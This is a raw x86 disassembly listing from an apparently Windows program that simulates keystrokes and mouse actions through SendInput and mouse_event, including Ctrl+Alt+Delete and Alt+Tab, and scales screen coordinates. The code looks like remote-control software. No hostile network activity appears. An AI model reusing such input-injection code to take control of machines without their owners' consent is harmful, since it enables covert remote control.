mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd354
push eax
mov eax, dword [0x5310d4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x1b
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd354
push eax
mov eax, dword [0x5310d4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x1b
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd354
push eax
mov eax, dword [0x5312f4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd354
push eax
mov eax, dword [0x5312f4]
mov eax, dword [eax]
call eax
jmp case.0x4d506c.10
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd354
push eax
mov eax, dword [0x5310d4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x1b
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd354
push eax
mov eax, dword [0x5310d4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x1b
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd354
push eax
mov eax, dword [0x5312f4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd354
push eax
mov eax, dword [0x5312f4]
mov eax, dword [eax]
call eax
jmp case.0x4d506c.10
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd354
push eax
mov eax, dword [0x5310d4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x10
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd354
push eax
mov eax, dword [0x5310d4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x10
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd354
push eax
mov eax, dword [0x5312f4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd354
push eax
mov eax, dword [0x5312f4]
mov eax, dword [eax]
call eax
jmp case.0x4d506c.10
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd354
push eax
mov eax, dword [0x5310d4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x20
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd354
push eax
mov eax, dword [0x5310d4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x20
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd354
push eax
mov eax, dword [0x5312f4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd354
push eax
mov eax, dword [0x5312f4]
mov eax, dword [eax]
call eax
jmp case.0x4d506c.10
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd354
push eax
mov eax, dword [0x5310d4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd354
push eax
mov eax, dword [0x5310d4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x2e
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd354
push eax
mov eax, dword [0x5310d4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x2e
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd354
push eax
mov eax, dword [0x5312f4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd354
push eax
mov eax, dword [0x5312f4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004cd354
push eax
mov eax, dword [0x5312f4]
mov eax, dword [eax]
call eax
jmp case.0x4d506c.10
mov dword [ebp - 0x7b4], 1
call sub.kernel32.dll_GetTickCount
mov dword [ebp - 0x7a8], eax
call sub.user32.dll_GetMessageExtraInfo
mov dword [ebp - 0x7a4], eax
mov eax, dword [ebx + 0x10]
cmp eax, 6
ja case.0x4d506c.10
jmp dword [eax*4 + 0x4d6980]
mov word [ebp - 0x7b0], 0x12
xor eax, eax
mov dword [ebp - 0x7ac], eax
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 9
xor eax, eax
mov dword [ebp - 0x7ac], eax
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 9
mov dword [ebp - 0x7ac], 2
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x12
mov dword [ebp - 0x7ac], 2
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d506c.10
mov word [ebp - 0x7b0], 0x12
xor eax, eax
mov dword [ebp - 0x7ac], eax
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x1b
xor eax, eax
mov dword [ebp - 0x7ac], eax
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x1b
mov dword [ebp - 0x7ac], 2
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x12
mov dword [ebp - 0x7ac], 2
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d506c.10
mov word [ebp - 0x7b0], 0x11
xor eax, eax
mov dword [ebp - 0x7ac], eax
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x1b
xor eax, eax
mov dword [ebp - 0x7ac], eax
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x1b
mov dword [ebp - 0x7ac], 2
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x11
mov dword [ebp - 0x7ac], 2
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d506c.10
mov word [ebp - 0x7b0], 0x11
xor eax, eax
mov dword [ebp - 0x7ac], eax
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x10
xor eax, eax
mov dword [ebp - 0x7ac], eax
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x10
mov dword [ebp - 0x7ac], 2
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x11
mov dword [ebp - 0x7ac], 2
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d506c.10
mov word [ebp - 0x7b0], 0x11
xor eax, eax
mov dword [ebp - 0x7ac], eax
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x20
xor eax, eax
mov dword [ebp - 0x7ac], eax
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x20
mov dword [ebp - 0x7ac], 2
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x11
mov dword [ebp - 0x7ac], 2
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d506c.10
mov word [ebp - 0x7b0], 0x11
xor eax, eax
mov dword [ebp - 0x7ac], eax
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x12
xor eax, eax
mov dword [ebp - 0x7ac], eax
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x2e
xor eax, eax
mov dword [ebp - 0x7ac], eax
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x2e
mov dword [ebp - 0x7ac], 2
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x12
mov dword [ebp - 0x7ac], 2
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7a8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b0], 0x11
mov dword [ebp - 0x7ac], 2
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d506c.10
cmp byte [0x52ffe4], 1
jb case.0x4d506c.10
cmp dword [0x5383c0], 0xb259
ja case.0x4d506c.10
mov eax, dword [0x52fee0]
mov dword [0x52fee8], eax
mov eax, dword [0x52fee4]
mov dword [0x52feec], eax
mov esi, 0x8000
lea eax, [ebx + 0x20]
mov dword [0x538528], eax
mov eax, dword [ebx + 0x10]
cmp eax, 0x200
jg 0x4d6ed0
je 0x4d6f2b
cmp eax, 0xa4
jg 0x4d6eb8
je 0x4d6f49
sub eax, 0x84
je 0x4d6f30
sub eax, 0x1c
je 0x4d6f53
dec eax
je 0x4d6f35
dec eax
je 0x4d6f3a
jmp case.0x4d6ede.515
sub eax, 0xa5
je 0x4d6f4e
sub eax, 2
je 0x4d6f3f
dec eax
je 0x4d6f44
jmp case.0x4d6ede.515
add eax, 0xfffffdff
cmp eax, 9
ja case.0x4d6ede.515
jmp dword [eax*4 + 0x4d6ee5]
or esi, 2
jmp case.0x4d6ede.515
or esi, 4
jmp case.0x4d6ede.515
or esi, 0x20
jmp case.0x4d6ede.515
or esi, 0x40
jmp case.0x4d6ede.515
or esi, 8
jmp case.0x4d6ede.515
or esi, 0x10
jmp case.0x4d6ede.515
or esi, 1
jmp case.0x4d6ede.515
or esi, 1
jmp case.0x4d6ede.515
or esi, 2
jmp case.0x4d6ede.515
or esi, 4
jmp case.0x4d6ede.515
or esi, 0x20
jmp case.0x4d6ede.515
or esi, 0x40
jmp case.0x4d6ede.515
or esi, 8
jmp case.0x4d6ede.515
or esi, 0x10
jmp case.0x4d6ede.515
or esi, 1
jmp case.0x4d6ede.515
or esi, 0x800
mov eax, dword [0x538528]
mov edx, dword [0x5384d4]
add dword [eax], edx
mov eax, dword [0x538528]
mov edx, dword [0x5384d8]
add dword [eax + 4], edx
mov eax, dword [0x538528]
mov eax, dword [eax]
mov edx, eax
shl eax, 0x10
sub eax, edx
mov edx, dword [0x530518]
sub edx, dword [0x530510]
dec edx
mov ecx, edx
cdq
idiv ecx
mov edi, eax
mov eax, dword [0x538528]
mov eax, dword [eax + 4]
mov edx, eax
shl eax, 0x10
sub eax, edx
mov edx, dword [0x53051c]
sub edx, dword [0x530514]
dec edx
mov ecx, edx
cdq
idiv ecx
mov dword [ebp - 0x4c], eax
cmp dword [0x52ffc4], 0x60
je 0x4d6fd9
mov eax, edi
shl eax, 5
lea eax, [eax + eax*2]
cdq
idiv dword [0x52ffc4]
mov edi, eax
cmp dword [0x52ffc8], 0x60
je 0x4d6ff5
mov eax, dword [ebp - 0x4c]
shl eax, 5
lea eax, [eax + eax*2]
cdq
idiv dword [0x52ffc8]
mov dword [ebp - 0x4c], eax
cmp dword [ebx + 0x10], 0x20a
jne 0x4d700b
mov eax, dword [0x538528]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x44], eax
jmp 0x4d7010
xor eax, eax
mov dword [ebp - 0x44], eax
mov eax, dword [0x531314]
cmp dword [eax], 0
jne 0x4d701f
call fcn.004cbc00
mov eax, dword [0x531234]
cmp dword [eax], 0
jne 0x4d702e
call fcn.004ccf20
mov eax, dword [0x5313f4]
cmp dword [eax], 0
jne 0x4d703d
call fcn.004cd67c
mov eax, dword [0x531314]
cmp dword [eax], 0
jle 0x4d7173
cmp dword [ebx + 0x10], 0x20a
je 0x4d706e
mov eax, dword [0x538528]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x538528]
mov eax, dword [eax]
push eax
mov eax, dword [0x531208]
mov eax, dword [eax]
call eax
mov eax, dword [ebx + 0x10]
cmp eax, 0x201
jg 0x4d70af
je case.0x4d7088.161
add eax, 0xffffff5f
cmp eax, 7
ja case.0x4d506c.10
jmp dword [eax*4 + 0x4d708f]
add eax, 0xfffffdfe
cmp eax, 8
ja case.0x4d506c.10
jmp dword [eax*4 + 0x4d70c4]
push 1
mov eax, dword [0x5316a8]
mov eax, dword [eax]
call eax
jmp case.0x4d506c.10
push 2
mov eax, dword [0x5316a8]
mov eax, dword [eax]
call eax
jmp case.0x4d506c.10
push 0x10
mov eax, dword [0x5316a8]
mov eax, dword [eax]
call eax
jmp case.0x4d506c.10
push 0x20
mov eax, dword [0x5316a8]
mov eax, dword [eax]
call eax
jmp case.0x4d506c.10
push 4
mov eax, dword [0x5316a8]
mov eax, dword [eax]
call eax
jmp case.0x4d506c.10
push 8
mov eax, dword [0x5316a8]
mov eax, dword [eax]
call eax
jmp case.0x4d506c.10
mov eax, dword [0x538528]
cmp dword [eax + 0x10], 0
jle 0x4d7163
push 1
mov eax, dword [0x5312f0]
mov eax, dword [eax]
call eax
jmp case.0x4d506c.10
push 2
mov eax, dword [0x5312f0]
mov eax, dword [eax]
call eax
jmp case.0x4d506c.10
mov eax, dword [0x531234]
cmp dword [eax], 0
jle 0x4d72de
cmp dword [ebx + 0x10], 0x20a
je 0x4d720f
mov eax, dword [0x52ffd0]
mov edx, dword [eax]
call dword [edx + 0x2c]
cmp eax, dword [0x538594]
jne 0x4d71b2
mov eax, dword [0x52ffd0]
mov edx, dword [eax]
call dword [edx + 0x20]
cmp eax, dword [0x538598]
je 0x4d71ed
mov eax, dword [0x52ffd0]
mov edx, dword [eax]
call dword [edx + 0x2c]
mov dword [0x538594], eax
mov eax, dword [0x52ffd0]
mov edx, dword [eax]
call dword [edx + 0x20]
mov dword [0x538598], eax
mov eax, dword [0x538598]
push eax
mov eax, dword [0x538594]
push eax
mov eax, dword [0x531910]
mov eax, dword [eax]
push eax
mov eax, dword [0x5314f8]
mov eax, dword [eax]
call eax
mov eax, dword [0x538528]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x538528]
mov eax, dword [eax]
push eax
mov eax, dword [0x531910]
mov eax, dword [eax]
push eax
mov eax, dword [0x53154c]
mov eax, dword [eax]
call eax
mov eax, dword [ebx + 0x10]
cmp eax, 0x201
jg 0x4d7232
je 0x4d724b
sub eax, 0xa1
je 0x4d724b
dec eax
je 0x4d7261
sub eax, 2
je 0x4d7277
dec eax
je 0x4d728d
jmp case.0x4d506c.10
sub eax, 0x202
je 0x4d7261
sub eax, 2
je 0x4d7277
dec eax
je 0x4d728d
sub eax, 5
je 0x4d72a3
jmp case.0x4d506c.10
mov eax, dword [0x531910]
mov eax, dword [eax]
push eax
mov eax, dword [0x531628]
mov eax, dword [eax]
call eax
jmp case.0x4d506c.10
mov eax, dword [0x531910]
mov eax, dword [eax]
push eax
mov eax, dword [0x531834]
mov eax, dword [eax]
call eax
jmp case.0x4d506c.10
mov eax, dword [0x531910]
mov eax, dword [eax]
push eax
mov eax, dword [0x531180]
mov eax, dword [eax]
call eax
jmp case.0x4d506c.10
mov eax, dword [0x531910]
mov eax, dword [eax]
push eax
mov eax, dword [0x5313c0]
mov eax, dword [eax]
call eax
jmp case.0x4d506c.10
mov eax, dword [0x538528]
cmp dword [eax + 0x10], 0
jle 0x4d72c6
push 1
mov eax, dword [0x531910]
mov eax, dword [eax]
push eax
mov eax, dword [0x5318fc]
mov eax, dword [eax]
call eax
jmp case.0x4d506c.10
push 0xffffffffffffffff
mov eax, dword [0x531910]
mov eax, dword [eax]
push eax
mov eax, dword [0x5318fc]
mov eax, dword [eax]
call eax
jmp case.0x4d506c.10
mov eax, dword [0x5313f4]
cmp dword [eax], 0
jle 0x4d73ae
cmp dword [ebx + 0x10], 0x20a
je 0x4d730f
mov eax, dword [0x538528]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x538528]
mov eax, dword [eax]
push eax
mov eax, dword [0x5316a4]
mov eax, dword [eax]
call eax
mov eax, dword [ebx + 0x10]
cmp eax, 0x201
jg 0x4d7332
je 0x4d734b
sub eax, 0xa1
je 0x4d734b
dec eax
je 0x4d7359
sub eax, 2
je 0x4d7367
dec eax
je 0x4d7375
jmp case.0x4d506c.10
sub eax, 0x202
je 0x4d7359
sub eax, 2
je 0x4d7367
dec eax
je 0x4d7375
sub eax, 5
je 0x4d7383
jmp case.0x4d506c.10
mov eax, dword [0x531798]
mov eax, dword [eax]
call eax
jmp case.0x4d506c.10
mov eax, dword [0x5319d4]
mov eax, dword [eax]
call eax
jmp case.0x4d506c.10
mov eax, dword [0x5312ec]
mov eax, dword [eax]
call eax
jmp case.0x4d506c.10
mov eax, dword [0x53158c]
mov eax, dword [eax]
call eax
jmp case.0x4d506c.10
mov eax, dword [0x538528]
cmp dword [eax + 0x10], 0
jle 0x4d739e
push 1
mov eax, dword [0x5310c0]
mov eax, dword [eax]
call eax
jmp case.0x4d506c.10
push 0xffffffffffffffff
mov eax, dword [0x5310c0]
mov eax, dword [eax]
call eax
jmp case.0x4d506c.10
cmp dword [ebx + 0x10], 0x200
je 0x4d73ce
push 0
push 0
mov eax, dword [ebp - 0x4c]
inc eax
push eax
lea eax, [edi + 1]
push eax
push 0x8001
call sub.user32.dll_mouse_event
cmp dword [ebx + 0x10], 0x20a
jne 0x4d73f3
push 0
mov eax, dword [ebp - 0x44]
push eax
mov eax, dword [ebp - 0x4c]
inc eax
push eax
inc edi
push edi
push 0x8800
call sub.user32.dll_mouse_event
jmp case.0x4d506c.10
xor eax, eax
mov dword [ebp - 0x7b4], eax
mov dword [ebp - 0x7a4], esi
inc edi
mov dword [ebp - 0x7b0], edi
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x7ac], eax
xor eax, eax
mov dword [ebp - 0x7a8], eax
call sub.kernel32.dll_GetTickCount
mov dword [ebp - 0x7a0], eax
call sub.user32.dll_GetMessageExtraInfo
mov dword [ebp - 0x79c], eax
push 0x1c
lea eax, [ebp - 0x7b4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d506c.10
cmp dword [0x52ff18], 0x520039a
jb case.0x4d506c.10
mov dl, 1
mov eax, dword [0x414aa4]
call fcn.00403720
mov dword [ebp - 0x24], eax
lea edx, [ebp - 0x910]
lea eax, [ebx + 0x20]
call fcn.00409e5c
mov edx, dword [ebp - 0x910]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0x914]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x914]
call fcn.004093d0
mov dword [0x53832c], eax
mov eax, dword [ebp - 0x24]
call fcn.00403750
mov eax, dword [0x53832c]
add eax, 0x5b
cmp eax, dword [0x5383c0]
jae 0x4d74e6
push 0
push 0x3e8
mov eax, dword [0x52fee0]
mov edx, dword [0x52fee4]
call fcn.004058f0
and eax, 1
xor edx, edx
cmp edx, 0
jne 0x4d74e6
cmp eax, 0
je case.0x4d506c.10
mov ax, word [ebx + 0x1c]
and ax, 0xffff
mov word [0x538364], ax
mov eax, dword [ebx + 0x1c]
shr eax, 0x10
and eax, 0x1f
mov esi, dword [eax*4 + 0x530470]
mov eax, dword [ebx + 0x1c]
shr eax, 0x18
and al, 1
mov byte [0x5383c4], al
mov eax, dword [ebx + 0x1c]
shr eax, 0x19
and al, 1
cmp al, 1
jne 0x4d7524
mov byte [0x52ff98], 0xff
mov byte [0x52ffe4], 0
xor eax, eax
mov dword [0x538594], eax
jmp 0x4d7540
call fcn.004d4578
push 1
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x5315b8]
cmp dword [eax], 0
jg 0x4d7534
cmp byte [0x52ff2c], 0
je 0x4d7584
push 0
call sub.user32.dll_GetDC
mov edi, eax
test edi, edi
je 0x4d7584
push 0x58
push edi
call sub.gdi32.dll_GetDeviceCaps
mov dword [0x52ffc4], eax
push 0x5a
push edi
call sub.gdi32.dll_GetDeviceCaps
mov dword [0x52ffc8], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
jmp 0x4d7598
mov dword [0x52ffc4], 0x60
mov dword [0x52ffc8], 0x60
cmp byte [ebx + 0xc], 0x87
setne al
neg al
sbb eax, eax
mov byte [0x52ffac], al
cmp byte [0x52ffac], 0
je 0x4d7654
mov eax, dword [ebx + 0x10]
mov dword [0x538384], eax
mov eax, dword [ebx + 0x14]
mov dword [0x538388], eax
mov eax, dword [ebx + 0x18]
shr eax, 0xc
and eax, 0xf
mov dword [0x52ffdc], eax
cmp dword [0x538390], 0
jle 0x4d75e8
mov eax, dword [0x538390]
mov dword [0x52ffe0], eax
jmp 0x4d75fb
mov eax, dword [ebx + 0x18]
shr eax, 8
and eax, 0xf
mov dword [0x52ffe0], eax
call fcn.004d0db4
mov al, byte [ebx + 0x18]
and al, 0xf
mov byte [0x538378], al
test esi, esi
jle 0x4d761a
mov eax, esi
call fcn.004d45e8
shl eax, 2
mov dword [0x52ffd8], eax
jmp 0x4d7629
mov eax, esi
call fcn.004d45e8
shl eax, 3
mov dword [0x52ffd8], eax
mov eax, dword [0x52ffd8]
test eax, eax
jns 0x4d7635
add eax, 3
sar eax, 2
call fcn.0040305c
mov edx, eax
neg eax
add eax, eax
mov dword [0x52ffc0], eax
mov byte [0x5383c4], 1
jmp 0x4d76f6
mov eax, dword [ebx + 0x14]
shr eax, 0xc
and eax, 0xf
mov dword [0x52ffdc], eax
cmp dword [0x52ffdc], 2
jne 0x4d7685
call fcn.0046d638
fcomp dword [0x4da4fc]
fnstsw ax
sahf
jbe 0x4d7685
mov dword [0x52ffdc], 3
cmp dword [0x538390], 0
jle 0x4d769a
mov eax, dword [0x538390]
mov dword [0x52ffe0], eax
jmp 0x4d76ad
mov eax, dword [ebx + 0x14]
shr eax, 8
and eax, 0xf
mov dword [0x52ffe0], eax
call fcn.004d0db4
mov al, byte [ebx + 0x14]
and al, 0xf
mov byte [0x538378], al
cmp dword [0x5383c0], 0xb259
ja 0x4d76d1
mov eax, esi
call fcn.004d45e8
mov dword [0x52ffd8], eax
jmp 0x4d76db
mov dword [0x52ffd8], 0x3e8
mov dword [0x52ffc0], 0xfffffffe
call sub.user32.dll_GetClipboardSequenceNumber
mov dword [0x5304f4], eax
xor eax, eax
mov dword [0x538394], eax
cmp byte [0x5383c4], 0
je 0x4d7708
cmp byte [0x5383c5], 0
je 0x4d7728
push 0x5622
push 0x10
mov cx, 1
xor edx, edx
mov eax, 0x20
call fcn.004ad83c
test al, al
je 0x4d7728
call fcn.004ad9ec
cmp dword [0x52ffe0], 3
je 0x4d7736
call fcn.004c9f40
cmp dword [0x52ffe0], 4
je 0x4d7744
call fcn.004cb634
cmp dword [0x5384fc], 3
jne 0x4d7781
movsx eax, byte [0x52ff98]
mov edx, dword [0x52ffd8]
call fcn.004cac8c
cmp dword [0x52ffe0], 5
je 0x4d7772
or eax, 0xffffffff
call fcn.004cabf4
jmp 0x4d77a6
mov edx, 2
or eax, 0xffffffff
call fcn.004cac20
jmp 0x4d77a6
cmp dword [0x52ffe0], 5
je 0x4d7791
call fcn.004ca5b4
jmp 0x4d77a6
mov eax, dword [0x531724]
cmp dword [eax], 0xffffffd8
jge 0x4d77a6
mov eax, dword [0x531724]
mov dword [eax], 0xffffffd8
cmp byte [0x52ff9c], 0
jne 0x4d798b
mov dl, 1
mov eax, dword [0x422194]
call fcn.00428798
mov dword [0x53837c], eax
mov dl, 7
mov eax, dword [0x53837c]
call fcn.00429d10
mov dl, 1
mov eax, dword [0x422194]
call fcn.00428798
mov dword [0x538380], eax
mov dl, 7
mov eax, dword [0x538380]
call fcn.00429d10
cmp dword [0x52ffb0], 0
jne 0x4d7807
mov dl, 1
mov eax, dword [0x414440]
call fcn.00403720
mov dword [0x52ffb0], eax
cmp dword [0x52ffb4], 0
jne 0x4d7821
mov dl, 1
mov eax, dword [0x46e2a4]
call fcn.0046e43c
mov dword [0x52ffb4], eax
cmp dword [0x52ffb8], 0
jne 0x4d783b
mov dl, 1
mov eax, dword [0x414d94]
call fcn.00403720
mov dword [0x52ffb8], eax
mov eax, dword [0x531a34]
cmp dword [eax], 0
jne 0x4d7859
mov dl, 1
mov eax, dword [0x414440]
call fcn.00403720
mov edx, dword [0x531a34]
mov dword [edx], eax
mov eax, dword [0x531420]
cmp dword [eax], 0
jne 0x4d7877
mov dl, 1
mov eax, dword [0x46e2a4]
call fcn.0046e43c
mov edx, dword [0x531420]
mov dword [edx], eax
mov eax, dword [0x5310f0]
cmp dword [eax], 0
jne 0x4d7895
mov dl, 1
mov eax, dword [0x414440]
call fcn.00403720
mov edx, dword [0x5310f0]
mov dword [edx], eax
mov eax, dword [0x5314cc]
cmp dword [eax], 0
jne 0x4d78b3
mov dl, 1
mov eax, dword [0x46e2a4]
call fcn.0046e43c
mov edx, dword [0x5314cc]
mov dword [edx], eax
mov eax, dword [0x531498]
cmp byte [eax], 0
jne 0x4d7964
push 0
push 3
lea eax, [ebp - 0x918]
mov edx, dword [0x5314fc]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0x918]
mov edx, 0x4da508
call fcn.0046be04
mov dword [ebp - 0x48], eax
xor edx, edx
mov eax, dword [ebp - 0x48]
call fcn.004aaa6c
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov edx, dword [0x5314d4]
mov dword [edx], eax
push 0
push 3
lea eax, [ebp - 0x91c]
mov edx, dword [0x5314fc]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0x91c]
mov edx, 0x4da520
call fcn.0046be04
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jle 0x4d795c
dec dword [ebp - 0x48]
mov cl, 1
mov dl, 1
mov eax, dword [0x4ed1c8]
call fcn.0041f1c4
mov edx, dword [ebp - 0x48]
mov dword [eax + 0x30], edx
call fcn.0041f510
cmp dword [ebp - 0x48], 0
jg 0x4d793a
mov eax, dword [0x531498]
mov byte [eax], 1
mov word [0x52ff0c], 0
xor eax, eax
mov dword [0x5383a8], eax
xor eax, eax
mov dword [0x52fff0], eax
